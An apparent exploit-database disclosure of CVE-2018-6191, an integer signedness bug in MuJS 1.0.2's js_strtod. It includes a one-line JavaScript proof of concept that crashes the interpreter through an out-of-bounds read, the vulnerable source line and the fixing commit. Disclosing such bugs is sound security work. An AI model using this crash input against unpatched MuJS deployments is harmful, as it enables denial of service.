Artifex MuJS 1.0.2 Integer Overflow

`The js_strtod function in jsdtoa.c in Artifex MuJS through 1.0.2 has an  
integer overflow because of incorrect exponent validation.  
  
# Exploit Title: Integer signedness error leading to Out-of-bounds read  
that causes crash  
# Date: 2018-01-24  
# Exploit Author: Andrea Sindoni - @invictus1306  
# Vendor: Artifex (https://www.artifex.com/)  
# Software Link: https://github.com/ccxvii/mujs  
# Version: Mujs - 228719d087aa5e27dcd8627c4acf7273476bdbca  
# Tested on: Linux  
# CVE : CVE-2018-6191  
  
Content of the poc file  
$ cat poc.js  
function pipo() {var 2e2147483648= 117486231123842366;}  
  
Run it  
$ mujs poc.js  
  
Additional details about the bug:  
  
Inside the function js_strtod, after this line https://github.com/ccxvii/  
mujs/blob/81388eb40d29f10599ac30dde90e683a3c254375/jsdtoa.c#L714  
  
exp = -exp;  
  
the value of "exp" is still negative (cause integer declaration).  
  
Fixed in commit 25821e6d74fab5fcc200fe5e818362e03e114428 (  
http://git.ghostscript.com/?p=mujs.git;a=commit;h=  
25821e6d74fab5fcc200fe5e818362e03e114428)  
  
Please let me know if you need more info.  
  
Andrea Sindoni  
`